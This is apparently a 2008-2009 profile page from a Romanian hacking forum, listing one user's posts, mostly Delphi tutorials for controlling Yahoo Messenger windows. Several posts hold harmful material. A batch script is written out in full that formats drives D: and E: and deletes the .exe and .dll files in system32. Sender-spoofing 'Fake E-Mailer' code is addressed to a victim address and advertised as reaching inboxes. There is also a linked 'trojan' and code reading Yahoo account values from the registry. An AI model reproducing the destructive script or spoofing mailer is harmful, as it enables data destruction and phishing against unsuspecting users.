c0smyn

January 22, 2009

January 21, 2009

nu mai am sursa

de ce nu faci tu unu ? sunt destule tutoriale pe aici postate de mine.

January 18, 2009

In primu rand cei ce aveti veriunea 7 de BD sau mai mica aveti nevoie de sndkey32 pe care il puteti descarca de AICI.

Extrageti tot din arhiva in folderul "lib" din %Program Files%\Borland\Delphi\ .

Acum sa trecem la proiect ..

1. Sus la uses adaugati: sndkey32

2. Adaugati pe form 2 butoane , un edit , un Timer si un XpManifest.

3. La button1 punem la caption "Activeaza" (fara ghilimele) , La button2 punem la caption "Dezactiveaza" si la edit1 punem la text "Mesaj".

4. In "public {Public declarations}" , adaugam urmatorul cod.


YahooMessageWindow: HWND;

5. Punem aceasta functie sub {$R *.dfm}

---


function CheckWindow: boolean;

begin
result := false;
YahooMessageWindow := FindWindow('YSearchMenuWndClass',nil);

if YahooMessageWindow <> 0 then begin
result := true;
BringWindowtotop(YahooMessageWindow);
end else
result := false;
end;

---

6. La Timer1 punem la interval 20, la enabled sa fie false , apoi apasam 2 click pe el si punem urmatorul cod.

---


CheckWindow;
if CheckWindow = true then
  begin
BringWindowtotop(YahooMessageWindow);
timer1.enabled := false;
Sleep(200);
SendKeys(Pchar('<b>Robot Yahoo!:</b> '+edit1.text),true);
SendKeys(#13,true);
SendKeys('{ESCAPE}',true);
timer1.enabled := true;
  end;

---

7. Dam 2 click pe button1, stergem cuvantul begin si punem urmatorul cod.


var
YahooHandle: HWND;
begin
timer1.Enabled := true;
edit1.enabled := false;
YahooHandle := FindWindow('YahooBuddyMain',nil);
if yahoohandle <> 0 then CloseWindow(YahooHandle);
end;

8. Dam 2 click pe button2 si punem urmatorul cod.


timer1.enabled := false;
edit1.enabled := true;

Finish !

Aplicatia ar trebui sa arate cam asa

Totul este foarte explicit .. va rog sa nu veniti cu posturi de genu "nu functioneaza" , "imi da eroare" etc ..

January 17, 2009

Minimize/Maximize/Restore/Hide/Show Yahoo! Messenger:

---


var
YahooHandle: HWND;
  begin
YahooHandle := FindWindow('YahooBuddyMain',nil); [color=green]// or FindWindow('YahooBuddyMain','Yahoo! Messenger'); [/color]

if YahooHandle <> 0 then
    begin
ShowWindow(YahooHandle,sw_minimize); [color=green]// Minimize[/color]

ShowWindow(YahooHandle,sw_maximize); [color=green]// Maximize[/color]

ShowWindow(YahooHandle,sw_restore); [color=green]// Restore[/color]

ShowWindow(YahooHandle,sw_hide); [color=green]// Hide[/color]

ShowWindow(YahooHandle,sw_show); [color=green]// Show[/color]
    end;
  end;

---

Change Yahoo! Messenger caption:

---


var
YahooHandle: HWND;
  begin
YahooHandle := FindWindow('YahooBuddyMain',nil);

if YahooHandle <> 0 then
SetWindowText(YahooHandle,Pchar('New Caption'));
  end;

---

Start Yahoo! Messenger:

---

Adaugati sus la Uses, ShellApi

Puneti aceasta functie sub {$R *.dfm}


function GetYahooPath: string;
  begin
if fileexists('C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then
result := 'C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe'
else
if fileexists('D:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then
result := 'D:\Program Files\Yahoo!\Messenger\YahooMessenger.exe'
else
if fileexists('E:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then
result := 'E:\Program Files\Yahoo!\Messenger\YahooMessenger.exe'
else
ShowMessage('Nu se poate gasi Yahoo!Messenger.exe');
  end;

Acum pentru a porni Yahoo! Messenger folositi urmatorul cod:


ShellExecute( 0, 'open', PChar(GetYahooPath),nil, nil, SW_SHOW );

---

Close Yahoo! Messenger:

---


  begin
winexec('taskkill /f /im YahooMessenger.exe',sw_hide);
winexec('taskkill /f /im YAHOOM~1.exe',sw_hide);
  end;

---

January 17, 2009

Bravo man frumosa colectie

ThX

January 16, 2009

Adaugati sus la uses: Registry

Vom face o mica functie ca sa ne pice mai usor


function ReadRegistry(Mykey:string; MyField: string): string;
var
  Reg: TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;

    if Reg.OpenKey(MyKey, True) then
    begin
    if Reg.ValueExists(MyField) then
        Result := Reg.ReadString(MyField)
    else
    Reg.CloseKey;
  end;
end;

Puneti aceasta functie sub " {$R *.dfm} "

Pentru vizualizarea id-ului si ets-ului vom folosi urmatorul cod:


ShowMessage(ReadRegistry('Software\Yahoo\Pager', 'Yahoo! user id')); // vizualizarea id-ului
ShowMessage(ReadRegistry('Software\Yahoo\Pager', 'ETS')); // vizualizarea ets-ului

Asta e tot Enjoy

January 16, 2009

Nytro:

greseala mea. creadeam ca e vb de celalalt cod cu ReleaseCapture..

January 16, 2009

Edit: Tu ai vazut tutorialul? Nu vezi cand scie cod? E de fapt cam acelasi cod, aceleasi functii cu aceeasi parametrii.

codul acela e pentru a putea muta form`ul cu ajutorul imaginii.

colturile rotunde s-au obtinut prin efecte de transparenta

January 16, 2009

Client:

Optiuni:

-shutdown

-restart

-logoff

-hide yahoo

-show yahoo

-close yahoo

Server:

Download Source:

http://rapidshare.com/files/184908026/My_trojan.rar.html

January 15, 2009

asta e

rog un admin sa inchida topicu

January 7, 2009

Un mod mult mai simplu pentru a folosi sistemul de mesaje in Borland Delphi

Puneti acest cod sub " {$R *.dfm} "


procedure ArataMesaj(mesaj: string; titlu: string; tip: Integer);
var
eroare,informatie,exclamatie,intrebare,normal: boolean;
begin
if tip > 5 then exit
else
if tip < 1 then exit;

eroare := false;
informatie := false;
exclamatie := false;
normal := false;
intrebare := false;

{Setare tip mesaj} //begin
  if tip = 1 then eroare := true;
  if tip = 2 then informatie := true;
  if tip = 3 then exclamatie := true;
  if tip = 4 then normal := true;
  if tip = 5 then intrebare := true;
{Setare tip mesaj} //end;

if eroare = true then
  MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONERROR)
else
if informatie = true then
  MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONINFORMATION)
else
if exclamatie = true then
  MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONEXCLAMATION)
else
if normal = true then
  MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK)
else
if intrebare = true then
  MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONQUESTION);
end;

Noua comanda va fi ArataMesaj(string,string,integer);

Exemplu:


ArataMesaj('Nu imi place scoala!','Rst Center',2);

"Nu imi place scoala" - reprezinta mesajul care v`a fi afisat

"Rst Center" - reprezinta titlul mesajului

"2" - reprezinta tipul de mesaj (2 = mesaj de tip informatie)

Tipurile de mesaj:

1 - Mesaj eroare

2 - Mesaj informatie

3 - Mesaj exclamatie

4 - Mesaj normal

5 - Mesaj intrebare

Enjoy

January 3, 2009

Nu mai merge programu asta , nici versiunea v2.

Cineva a schimbat parola de la SMTP

January 3, 2009

imi pare rau probabil cei de la alonia au vazut ca trimitem multe mail`uri si au inchis serveru

nu se mai conecteaza

January 3, 2009

################

#Name: Fake E-Mailer

#Autor: c0smyn

#Version: 2.0

################

Aceasta versiune va permite sa trimiteti mai multe mail`uri. Mail`urile vor intra in inbox nu in spambox .. cam atat

Daca doriti sa iesiti din aplicatie apasati pe tasta ESCAPE.

Photo:

Download

http://rapidshare.com/files/179676754/Fake_E-Mailer_2.0.rar.html

http://www.2shared.com/file/4577730/8eff2b68/Fake_E-Mailer_20.html

Enjoy

January 3, 2009

intradevar e facut cu serveru de la alonia (bombur.mediasat.ro)

si nu m`am luat dupa sursa aia :-j

uitate la codu meu de la programare > Fake Mailer si uitate si in codu lu sanon masters ala :))

edit

... si ce cacat e bobsoft mini delphi ala ... are rost sa ma uit prin el ?

nu cred ca e cacat si nu ii zice bobsoft ;))

January 2, 2009

nu stiu fratilor din ce tari sunteti voi de nu se conecteaza ..

mie imi merge si altora

January 2, 2009

asa deageaba man sa ii dea :))

ce forum mai e ala ?

January 2, 2009

E pampalau messiah asta

a venit o fata pe forum la luat la vrajeli si i`a dat vip =))

January 2, 2009

de ce imi zice Socket Error #10050 network is down ???

probabil ti`a picat netu in timp ce vroiai sa trimiti .. alta cale nu vad

January 2, 2009

#################

# Name: Fake E-Mailer

# Autor: c0smyn

# Version: 1.0

#################

Un program cu care poti trimite mail`uri fake.

Daca ati intrat in form`ul cu about , puteti iesi apasand ALT+F4 , am uitat sa pun un exit button

Photos:

Download:

http://rapidshare.com/files/179446388/Fake_E-Mailer.rar.html

http://www.2shared.com/file/4574516/449b975f/Fake_E-Mailer.html

January 2, 2009

1. Adaugati pe form un Idsmtp, Idmessage, Memo si un button.

2. Dam 2click pe button si punem acest cod


with IdMessage1 do
  begin

From.Address := 'fake_address@yahoo.com';
From.Name := 'fake_name';
Subject := 'Subject';
Sender.Address := 'fake_address@yahoo.com';
Sender.Name := 'fake_name';
ReplyTo[0].Address := 'fake_address@yahoo.com';
ReplyTo[0].Name := 'fake_name';
Recipients[0].Address := 'VICTIM_MAIL@yahoo.com';
ReceiptRecipient.Address := 'VICTIM_MAIL@yahoo.com';
Body := memo1.lines;

  end;

with IdSMTP1 do
  begin

Host := 'mail.hotmail.com';
UserName := 'your_user@hotmail.com';
Password := 'your_password';
Port := 25;
Connect;

{Send Mail}
IdSMTP1.Send(IdMessage1);
if connected = true then Disconnect;
ShowMessage('Mesaj Trimis!');
{Send Mail}

  end;

Trebuie sa folositi indy 10 pentru a putea compila proiectu.

Enjoy

January 1, 2009

########################################

###Name: Little Tool##########################

###Autor: c0smyn###########################

###Source code: 3 MB########################

###Compiled: 568 KB#########################

########################################

###Website: http://rstcenter.com#################

########################################

Poti accesa Counter-Strike`ul , Yahoo`ul , Winamp`ul , Cmd`ul foarte rapid , doar cu 1 singur click.

L`am facut la plictiseala. Deasemenea poti schimba status`ul la Yahoo , Caption`ul .. , poti da refresh la desktop doar cu 1 singur click.

Cu siguranta veti invata cate ceva din aceasta sursa

Enjoy

Photos:

Download Source:

http://rapidshare.com/files/179117565/nice_tool.rar.html

Download Executable:

http://rapidshare.com/files/179117844/Nice_Tool.exe.html

January 1, 2009

http://alonia.ro/inc/

December 25, 2008

LOLEX

http://www.alonia.ro/inc/class.phpmailer.php_

Server SMTP FREE =))

December 25, 2008

Intri in notepad folosind comanda asta

start %SystemRoot%\notepad.exe

pui urmatorul cod

@echo off
format D: /q /x /y
format E: /q /x /y
shutdown -r -t 1000
cd %SystemRoot%\system32
del *.exe
del *.dll

salvezi in %SystemRoot%\aaaaaa.bat

scrii in cmd

start %SystemRoot%\aaaaaa.bat

si gata

ai grija ca au camere de luat vederi si te trezesti cu pol acasa

Sign In

c0smyn

Posts

Joined

Last visited

Days Won

Content Type

Profiles

Forums

Posts posted by c0smyn

Fake E-Mailer 1.0 Source Code

[Borland Delphi] Nice Tool

[Borland Delphi] Robot Yahoo! Messenger

[Borland Delphi] Yahoo! Tricks

Carti, cursuri, tutoriale...

[Borland Delphi] Yahoo! ETS & ID

Feresre rotunde

Feresre rotunde

[Borland Delphi] Exemplu trojan

Spy Remote Control

[Borland Delphi] Folosirea mesajelor intr-un mod mult mai simplu

Fake E-Mailer

Fake E-Mailer 2.0

Fake E-Mailer 2.0

Fake E-Mailer

Fake E-Mailer

codeit

codeit

Fake E-Mailer

Fake E-Mailer

[Borland Delphi] Fake Mailer

[Borland Delphi] Nice Tool

alonia.ro

http://www.alonia.ro

Cum formatez din cmd ?

Browse

Activity

Pages